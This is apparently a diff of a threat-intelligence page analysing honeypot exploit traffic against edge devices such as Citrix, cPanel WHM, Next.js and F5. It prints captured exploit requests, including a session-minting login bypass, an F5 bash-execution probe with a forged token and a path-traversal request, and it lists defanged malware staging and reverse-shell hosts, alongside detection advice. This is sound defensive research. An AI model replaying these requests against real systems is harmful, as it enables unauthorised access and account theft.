|
||||
</div>
|
||||
<ul id="nav-targets-sub" class="nav-subnav">
|
||||
<li><a href="#sdwan">SD-WAN</a></li>
|
||||
<li><a href="#citrixbleed">CitrixBleed</a></li>
|
||||
<li><a href="#sap">SAP</a></li>
|
||||
<li><a href="#sonicwall">SonicWall</a></li>
|
||||
<li><a href="#fortiweb">FortiWeb</a></li>
|
||||
<li><a href="#ivanti">Ivanti</a></li>
|
||||
<li><a href="#cpanel">cPanel</a></li>
|
||||
<li><a href="#nextjs">Next.js</a></li>
|
||||
<li><a href="#f5">F5</a></li>
|
||||
</ul>
|
||||
</li>
|
||||
<li><a href="#scanners">Scanners</a></li>
|
||||
<li><a href="#staging">Staging</a></li>
|
||||
<li><a href="#detections">Detections</a></li>
|
||||
@@ -251,18 +300,17 @@ permalink: /trends/edge-exploits/
|
||||
<h1>Edge Device Exploit Trends: Honeypot Analysis</h1>
|
||||
<p class="ep-meta">
|
||||
Data: <a href="https://defusedcyber.com/">Defused Cyber</a> honeypot telemetry (25 decoy types)
|
||||
· Period: Mar 14 – Apr 13, 2026
|
||||
· 15,001 exploit attempts
|
||||
· Generated: 2026-04-13
|
||||
· Period: Mar 14 – May 19, 2026 (two export windows, 6-day gap Apr 14–18)
|
||||
· 25,420 exploit attempts · Generated: 2026-05-19
|
||||
</p>
|
||||
|
||||
<div class="stats-strip">
|
||||
<div class="stat-cell"><div class="num">15.0k</div><div class="label">Exploit attempts</div></div>
|
||||
<div class="stat-cell"><div class="num">25</div><div class="label">Decoy types</div></div>
|
||||
<div class="stat-cell"><div class="num">40+</div><div class="label">CVEs targeted</div></div>
|
||||
<div class="stat-cell"><div class="num">1,260</div><div class="label">SD-WAN chain</div></div>
|
||||
<div class="stat-cell"><div class="num">8,112</div><div class="label">CitrixBleed 2</div></div>
|
||||
<div class="stat-cell"><div class="num">514</div><div class="label">Shell eval payloads</div></div>
|
||||
<div class="stat-cell"><div class="num">25.4k</div><div class="label">Exploit attempts</div></div>
|
||||
<div class="stat-cell"><div class="num">25+</div><div class="label">Decoy types</div></div>
|
||||
<div class="stat-cell"><div class="num">50+</div><div class="label">CVEs targeted</div></div>
|
||||
<div class="stat-cell"><div class="num">11,145</div><div class="label">CitrixBleed 2</div></div>
|
||||
<div class="stat-cell"><div class="num">2,653</div><div class="label">Next.js RCE (new)</div></div>
|
||||
<div class="stat-cell"><div class="num">1,515</div><div class="label">cPanel WHM chain</div></div>
|
||||
</div>
|
||||
|
||||
<!-- ===== CHOKEPOINT FRAMEWORK ===== -->
|
||||
@@ -309,7 +357,7 @@ permalink: /trends/edge-exploits/
|
||||
|
||||
<div class="chart-container">
|
||||
<canvas id="dailyChart" height="200"></canvas>
|
||||
<div class="chart-label">Daily exploit attempts. Mar 14 to Apr 13, 2026</div>
|
||||
<div class="chart-label">Daily exploit attempts. Mar 14 – May 19, 2026 (gap Apr 14–18 = no export data; May 19* = export cutoff artifact)</div>
|
||||
</div>
|
||||
|
||||
<div class="callout callout-red">
|
||||
@@ -318,21 +366,19 @@ permalink: /trends/edge-exploits/
|
||||
|
||||
<!-- ===== TOP TARGETS ===== -->
|
||||
<h2 id="targets">Target Distribution: What Adversaries Are Hunting</h2>
|
||||
<p>Not every decoy gets the same attention. Citrix and SD-WAN absorb 74% of all traffic, and for different reasons.</p>
|
||||
<p>Combined across both observation windows. Citrix still dominates at 47% of all traffic, but the composition has shifted: React Server (CVE-2025-55182) and cPanel/WHM (CVE-2026-41940) are brand-new targets that didn't appear in the first window at all. FortiWeb doubled. SD-WAN and SAP burned hot then cooled — classic burst-campaign behavior.</p>
|
||||
|
||||
<div class="bar-chart">
|
||||
<div class="bar-row"><div class="bar-label">Citrix NetScaler</div><div class="bar-track"><div class="bar-fill" style="width:100%;background:var(--critical)"><span>8,662</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">Cisco SD-WAN</div><div class="bar-track"><div class="bar-fill" style="width:14.5%;background:var(--accent)"><span>1,260</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">SAP Netweaver</div><div class="bar-track"><div class="bar-fill" style="width:13.6%;background:var(--high)"><span>1,179</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">FortiWeb</div><div class="bar-track"><div class="bar-fill" style="width:11.9%;background:#8b5cf6"><span>1,027</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">React Server</div><div class="bar-track"><div class="bar-fill" style="width:9.4%;background:var(--medium)"><span>818</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">Ivanti Connect Secure</div><div class="bar-track"><div class="bar-fill" style="width:8.5%;background:var(--link)"><span>734</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">SonicWall SMA</div><div class="bar-track"><div class="bar-fill" style="width:5.5%;background:var(--link)"><span>478</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">FortiClient EMS</div><div class="bar-track"><div class="bar-fill" style="width:3.4%;background:#6b7280"><span>291</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">Citrix NetScaler</div><div class="bar-track"><div class="bar-fill" style="width:100%;background:var(--critical)"><span>11,995</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">React Server</div><div class="bar-track"><div class="bar-fill" style="width:22.4%;background:var(--accent)"><span>2,683</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">FortiWeb</div><div class="bar-track"><div class="bar-fill" style="width:17.0%;background:#8b5cf6"><span>2,037</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">cPanel WHM</div><div class="bar-track"><div class="bar-fill" style="width:12.6%;background:var(--high)"><span>1,515</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">Cisco SD-WAN</div><div class="bar-track"><div class="bar-fill" style="width:11.5%;background:var(--accent)"><span>1,383</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">SAP Netweaver</div><div class="bar-track"><div class="bar-fill" style="width:11.2%;background:var(--high)"><span>1,341</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">Ivanti Connect Secure</div><div class="bar-track"><div class="bar-fill" style="width:8.6%;background:var(--link)"><span>1,035</span></div></div></div>
|
||||
<div class="bar-row"><div class="bar-label">SonicWall SMA</div><div class="bar-track"><div class="bar-fill" style="width:7.0%;background:var(--link)"><span>834</span></div></div></div>
|
||||
</div>
|
||||
|
||||
<p>Citrix dominates at 8,662 hits, 57.7% of all traffic, driven by a concentrated cluster of IPs running CitrixBleed 2 continuously. SAP jumped to third this window (was barely visible before). A 72-hour burst Apr 9–11 on a 4-year-old CVSS 10.0 vuln accounted for most of it. SonicWall has the most distributed attacker base at 284 unique IPs, suggesting toolkit proliferation rather than a single operator campaign.</p>
|
||||
|
||||
<!-- ===== CVE-2026-20127 ===== -->
|
||||
<h2 id="sdwan">CVE-2026-20127: Full Kill Chain in Honeypot Data</h2>
|
||||
<p>CVSS 10.0 authentication bypass in Cisco Catalyst SD-WAN. Disclosed Feb 25, 2026. CISA KEV with 24-hour remediation. We captured the full attack chain: 137 IPs progressing from recon through auth bypass, webshell upload, and cryptominer deployment.</p>
|
||||
@@ -509,6 +555,70 @@ GET /api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi HTTP/1.1
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
|
||||
Accept: application/json, text/javascript, */*; q=0.01</div>
|
||||
|
||||
<!-- ===== CVE-2026-41940: cPanel WHM ===== -->
|
||||
<h2 id="cpanel">CVE-2026-41940: cPanel WHM Authentication Bypass (3-Stage Chain)</h2>
|
||||
<p>1,515 hits on cPanel/WHM decoys across a 3-stage exploitation chain. Stage 1 mints a session token via an intentionally wrong password — the bug causes the server to issue a valid session cookie despite authentication failure. Stage 2 uses that minted session to call <code>/json-api/listaccts</code>, harvesting all hosted account credentials. Stage 3 uses the cache propagation gadget at <code>/scripts2/listaccts</code> to persist access across session expiry. 164 unique IPs hit Stage 1; only 13 progressed to Stage 2, confirming most operators are scanning rather than doing full account takeover.</p>
|
||||
|
||||
<table class="data-table">
|
||||
<thead><tr><th>Stage</th><th>Alert</th><th>Hits</th><th>Unique IPs</th><th>Key Artifact</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><span class="tag tier-1">AUTH</span></td><td>CVE-2026-41940 – Preauth Session Mint</td><td class="count">1,223</td><td>164</td><td><code>POST /login/?login_only=1</code> with wrong credentials via <code>Go-http-client</code></td></tr>
|
||||
<tr><td><span class="tag tier-1">HARVEST</span></td><td>CVE-2026-41940 – Authenticated json-api Call</td><td class="count">189</td><td>13</td><td><code>GET /cpsess.../json-api/listaccts</code> with minted session cookie</td></tr>
|
||||
<tr><td><span class="tag tier-na">PERSIST</span></td><td>CVE-2026-41940 – Cache Propagation Gadget</td><td class="count">103</td><td>16</td><td><code>GET /scripts2/listaccts</code> or <code>/cpsess.../scripts2/listaccts</code></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<div class="code-block"><span class="comment"># Stage 1: Session mint via deliberate auth failure</span>
|
||||
POST /login/?login_only=1 HTTP/1.1
|
||||
Host: target:2087
|
||||
User-Agent: Go-http-client/1.1
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
pass=wrong&user=root
|
||||
|
||||
<span class="comment"># Stage 2: Account credential harvest using minted session</span>
|
||||
GET /cpsess9999999999/json-api/listaccts HTTP/1.1
|
||||
Cookie: whostmgrsession=%3AO8ocYr1usaqivq1j
|
||||
Host: target:2087</div>
|
||||
|
||||
<div class="callout callout-red">
|
||||
<strong>The detection window is Stage 1.</strong> A POST to <code>/login/?login_only=1</code> returning a session token despite a failed password is the invariant. Legitimate WHM logins don't use <code>login_only=1</code> with intentionally wrong credentials. Any external IP hitting this endpoint is malicious. Log WHM auth endpoints to your SIEM and alert on <code>login_only=1</code> from non-management IP ranges.
|
||||
</div>
|
||||
|
||||
<!-- ===== CVE-2025-55182: Next.js RCE ===== -->
|
||||
<h2 id="nextjs">CVE-2025-55182: Next.js Server Actions RCE</h2>
|
||||
<p>2,653 hits on React Server decoys from 292 unique IPs — the most distributed new campaign in this window. The exploit sends a <code>POST /</code> with a <code>Next-Action</code> header and a multipart body to trigger unauthenticated remote code execution in Next.js Server Actions. <strong>97% of requests use <code>Go-http-client/1.1</code></strong>, making User-Agent matching a near-reliable detection layer while it lasts. The extreme distribution (292 IPs for 2,653 hits) suggests a public PoC driving broad opportunistic scanning rather than a single operator campaign.</p>
|
||||
|
||||
<div class="code-block"><span class="comment"># CVE-2025-55182: Next.js Server Actions RCE payload</span>
|
||||
POST / HTTP/1.1
|
||||
Host: target
|
||||
User-Agent: Go-http-client/1.1
|
||||
Content-Type: multipart/form-data; boundary=ebf1db96fc37e2dc50cc5acaeef3e83a4555dfd6c2d857640316a40a1b31
|
||||
Next-Action: x
|
||||
Accept-Encoding: gzip
|
||||
|
||||
--ebf1db96fc37e2dc50cc5acaeef3e83a4555dfd6c2d857640316a40a1b31
|
||||
Content-Disposition: form-data; name="ACTION_ID"
|
||||
[RCE payload follows in body]</div>
|
||||
|
||||
<div class="callout callout-orange">
|
||||
<strong>If you're running Next.js 14+ with Server Actions enabled, this is your fire drill.</strong> 292 unique IPs scanning in a single month means any unpatched instance is already being probed. The detection signature is highly specific: <code>POST /</code> with <code>Next-Action</code> header from an external IP, <code>Content-Type: multipart/form-data</code>, <code>User-Agent: Go-http-client</code>. Near-zero false positive rate on that combination. Patch first; detect second.
|
||||
</div>
|
||||
|
||||
<h2 id="f5">CVE-2022-1388: F5 iControl REST Auth Bypass Resurfaces</h2>
|
||||
<p>314 hits across 10 unique IPs targeting F5 Big-IP decoys via the 2022 iControl REST authentication bypass. All requests use a static forged <code>X-F5-Auth-Token</code> header (<code>ea5641ae55012ddb91da9978663575</code>) and hit <code>/mgmt/tm/util/bash</code> to probe for command execution access. This CVE is 3 years old; the static token is a shared PoC artifact, which means these 10 operators are running the same public exploit tool without modification.</p>
|
||||
|
||||
<div class="code-block"><span class="comment"># CVE-2022-1388: forged auth token + bash exec probe</span>
|
||||
POST /mgmt/tm/util/bash HTTP/1.1
|
||||
X-F5-Auth-Token: ea5641ae55012ddb91da9978663575
|
||||
Content-Type: application/json
|
||||
|
||||
{"command": "run", "utilCmdArgs": "-c \"exit \""}</div>
|
||||
|
||||
<div class="callout callout-blue">
|
||||
<strong>The static token is the detection.</strong> <code>X-F5-Auth-Token: ea5641ae55012ddb91da9978663575</code> is the shared PoC value. Any request to <code>/mgmt/tm/util/bash</code> from an external IP should alert regardless of the token. Any request with this specific token value is confirmed exploit tooling.
|
||||
</div>
|
||||
|
||||
<!-- ===== SCANNER FINGERPRINTS ===== -->
|
||||
<h2 id="scanners">Attacker Tooling: Scanner & Automation Fingerprints</h2>
|
||||
<p>38.7% of traffic self-identifies via User-Agent. That's the floor. The other 61% spoof browser UAs but behave like bots.</p>
|
||||
@@ -526,31 +636,140 @@ Accept: application/json, text/javascript, */*; q=0.01</div>
|
||||
|
||||
<!-- ===== MULTI-DEVICE OPERATORS ===== -->
|
||||
<h3>Multi-Device Operators: IPs Scanning Across Decoy Types</h3>
|
||||
<!-- Run: python scripts/enrich_staging_domains.py --hosts "47.253.5.130,144.31.4.70,82.165.66.87,103.98.152.233,176.65.139.31" to populate ASN/geo detail rows -->
|
||||
<table class="infra-table">
|
||||
<thead><tr><th>IP</th><th>Hits</th><th>Products Targeted</th><th>Significance</th></tr></thead>
|
||||
<thead><tr><th></th><th>IP</th><th>Hits</th><th>Products Targeted</th><th>Significance</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>47[.]253[.]5[.]130</code></td><td>13</td><td>Cisco SD-WAN, Citrix, FortiClient, Ivanti, SonicWall</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Broadest coverage</td></tr>
|
||||
<tr><td><code>144[.]31[.]4[.]70</code></td><td>53</td><td>Citrix, FortiGate, FortiWeb, Palo Alto, SolarWinds</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Fortinet-heavy</td></tr>
|
||||
<tr><td><code>82[.]165[.]66[.]87</code></td><td>23</td><td>Citrix, FortiClient, Ivanti, SonicWall</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Shell eval across all</td></tr>
|
||||
<tr><td><code>103[.]98[.]152[.]233</code></td><td>327</td><td>Cisco SD-WAN (primary)</td><td><span class="tag tag-miner">MINER OPS</span> kernel.sh staging host</td></tr>
|
||||
<tr><td><code>176[.]65[.]139[.]31</code></td><td>336</td><td>Cisco SD-WAN (primary)</td><td><span class="tag tag-miner">MINER OPS</span> Full chain: auth→upload→mine</td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-1" aria-label="Show details">›</button></td>
|
||||
<td><code>47[.]253[.]5[.]130</code></td><td>13</td><td>Cisco SD-WAN, Citrix, FortiClient, Ivanti, SonicWall</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Broadest coverage</td>
|
||||
</tr>
|
||||
<tr id="ep-op-1" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS45102 Alibaba (US) Technology Co., Ltd.</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Hong Kong · Hong Kong</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-unk">Unknown</span></span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-2" aria-label="Show details">›</button></td>
|
||||
<td><code>144[.]31[.]4[.]70</code></td><td>53</td><td>Citrix, FortiGate, FortiWeb, Palo Alto, SolarWinds</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Fortinet-heavy</td>
|
||||
</tr>
|
||||
<tr id="ep-op-2" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS215730 H2NEXUS LTD</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Poland · Warsaw</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-unk">Unknown</span></span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-3" aria-label="Show details">›</button></td>
|
||||
<td><code>82[.]165[.]66[.]87</code></td><td>23</td><td>Citrix, FortiClient, Ivanti, SonicWall</td><td><span class="tag tag-scanner">MULTI-EXPLOIT</span> Shell eval across all</td>
|
||||
</tr>
|
||||
<tr id="ep-op-3" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS6724 STRATO AG</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Germany · Berlin</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-unk">Unknown</span></span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-4" aria-label="Show details">›</button></td>
|
||||
<td><code>103[.]98[.]152[.]233</code></td><td>327</td><td>Cisco SD-WAN (primary)</td><td><span class="tag tag-miner">MINER OPS</span> kernel.sh staging host</td>
|
||||
</tr>
|
||||
<tr id="ep-op-4" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS131374 HQG Technology Solutions Joint Stock Company</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Vietnam · Ho Chi Minh City</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Vietnamese VPS; same host as staging entry ep-st-1</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-op-5" aria-label="Show details">›</button></td>
|
||||
<td><code>176[.]65[.]139[.]31</code></td><td>336</td><td>Cisco SD-WAN (primary)</td><td><span class="tag tag-miner">MINER OPS</span> Full chain: auth→upload→mine</td>
|
||||
</tr>
|
||||
<tr id="ep-op-5" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS214472 Offshore LC</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">The Netherlands · Kerkrade</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Offshore-branded Dutch VPS; full kill chain operator</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
</tbody>
|
||||
</table>
|
||||
|
||||
<!-- ===== STAGING INFRA ===== -->
|
||||
<h2 id="staging">Staging Infrastructure</h2>
|
||||
<p>Payload staging URLs extracted from webshell commands and shell eval payloads.</p>
|
||||
|
||||
<!-- Run: python scripts/enrich_staging_domains.py --hosts "103.98.152.233,31.57.216.121,83.142.209.47,miso88.tech,213.139.77.117,5.255.120.46" to populate ASN/geo detail rows -->
|
||||
<table class="infra-table">
|
||||
<thead><tr><th>URL / IP</th><th>Payloads</th><th>Type</th><th>Blind Spot</th></tr></thead>
|
||||
<thead><tr><th></th><th>URL / IP</th><th>Payloads</th><th>Type</th><th>Blind Spot</th></tr></thead>
|
||||
<tbody>
|
||||
<tr><td><code>103[.]98[.]152[.]233/wp_plugins/kernel.sh</code></td><td>386</td><td><span class="tag tag-miner">MINER</span></td><td>Path mimics WordPress plugin directory</td></tr>
|
||||
<tr><td><code>31[.]57[.]216[.]121/sh</code></td><td>687+</td><td><span class="tag tag-worm">WORM</span></td><td>Self-replicating <code>apache.selfrep</code> payload</td></tr>
|
||||
<tr><td><code>raw[.]githubusercontent[.]com/.../setup_moneroocean_miner.sh</code></td><td>37</td><td><span class="tag tag-miner">MINER</span></td><td>Legitimate GitHub hosting. Cannot block domain</td></tr>
|
||||
<tr><td><code>83[.]142[.]209[.]47</code></td><td>25</td><td><span class="tag tag-botnet">BOTNET</span></td><td>Serves <code>nullnet_bash.sh</code>. Botnet enrollment</td></tr>
|
||||
<tr><td><code>miso88[.]tech/wp-config/x</code></td><td>10</td><td><span class="tag tag-botnet">BOTNET</span></td><td>Compromised domain, WP config path</td></tr>
|
||||
<tr><td><code>213[.]139[.]77[.]117:4433</code></td><td>10</td><td><span class="tag tag-apt">C2 CHECK</span></td><td>Port 4433 callback. Connectivity test before C2</td></tr>
|
||||
<tr><td><code>5[.]255[.]120[.]46:5555</code></td><td>5</td><td><span class="tag tag-apt">REVERSE SHELL</span></td><td>Ivanti EPMM bash reverse shell target (Apr 3)</td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-1" aria-label="Show details">›</button></td>
|
||||
<td><code>103[.]98[.]152[.]233/wp_plugins/kernel.sh</code></td><td>386</td><td><span class="tag tag-miner">MINER</span></td><td>Path mimics WordPress plugin directory</td>
|
||||
</tr>
|
||||
<tr id="ep-st-1" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS131374 HQG Technology Solutions Joint Stock Company</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Vietnam · Ho Chi Minh City</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Vietnamese VPS, primary cryptominer staging host</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-2" aria-label="Show details">›</button></td>
|
||||
<td><code>31[.]57[.]216[.]121/sh</code></td><td>687+</td><td><span class="tag tag-worm">WORM</span></td><td>Self-replicating <code>apache.selfrep</code> payload</td>
|
||||
</tr>
|
||||
<tr id="ep-st-2" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS197769 VPS Dedicated LLC</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Slovenia · Ljubljana</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Abuse-tolerant VPS, no takedown response in 31-day observation window</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-3" aria-label="Show details">›</button></td>
|
||||
<td><code>raw[.]githubusercontent[.]com/.../setup_moneroocean_miner.sh</code></td><td>37</td><td><span class="tag tag-miner">MINER</span></td><td>Legitimate GitHub hosting. Cannot block domain</td>
|
||||
</tr>
|
||||
<tr id="ep-st-3" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS54113 Fastly, Inc.</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">United States · San Francisco</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-cdn">CDN</span> GitHub / Fastly CDN. Cannot block by IP or domain.</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-4" aria-label="Show details">›</button></td>
|
||||
<td><code>83[.]142[.]209[.]47</code></td><td>25</td><td><span class="tag tag-botnet">BOTNET</span></td><td>Serves <code>nullnet_bash.sh</code>. Botnet enrollment</td>
|
||||
</tr>
|
||||
<tr id="ep-st-4" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS205759 Ghosty Networks LLC</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">Luxembourg · Luxembourg</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Abuse-tolerant Luxembourg VPS, serves <code>nullnet_bash.sh</code> botnet payload</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-active">Active</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-5" aria-label="Show details">›</button></td>
|
||||
<td><code>miso88[.]tech/wp-config/x</code></td><td>10</td><td><span class="tag tag-botnet">BOTNET</span></td><td>Compromised domain, WP config path</td>
|
||||
</tr>
|
||||
<tr id="ep-st-5" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS13335 Cloudflare, Inc.</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">United States · San Francisco (Cloudflare proxy — origin hidden)</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-comp">Compromised</span> Legitimate site abused as staging host; origin IP masked by Cloudflare</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Status</span><span class="cg-infra-field-val"><span class="cg-badge-status-unknown">Unknown</span></span></div>
|
||||
</div></td></tr>
|
||||
<tr class="cg-infra-row">
|
||||
<td style="padding:.45rem .25rem .45rem .4rem;width:1.2rem;"><button class="cg-infra-toggle" aria-expanded="false" data-target="ep-st-6" aria-label="Show details">›</button></td>
|
||||
<td><code>213[.]139[.]77[.]117:4433</code></td><td>10</td><td><span class="tag tag-apt">C2 CHECK</span></td><td>Port 4433 callback. Connectivity test before C2</td>
|
||||
</tr>
|
||||
<tr id="ep-st-6" class="cg-infra-detail-row"><td colspan="5" style="padding:0;"><div class="cg-infra-detail-body">
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">ASN</span><span class="cg-infra-field-val">AS398256 Ultahost, Inc.</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Country / City</span><span class="cg-infra-field-val">United States · New York City</span></div>
|
||||
<div class="cg-infra-field"><span class="cg-infra-field-label">Hosting</span><span class="cg-infra-field-val"><span class="cg-badge-hosting-bp">Bulletproof</span> Abuse-tolerant VPS; port 4433 C2 callback</span></div>
|
||||
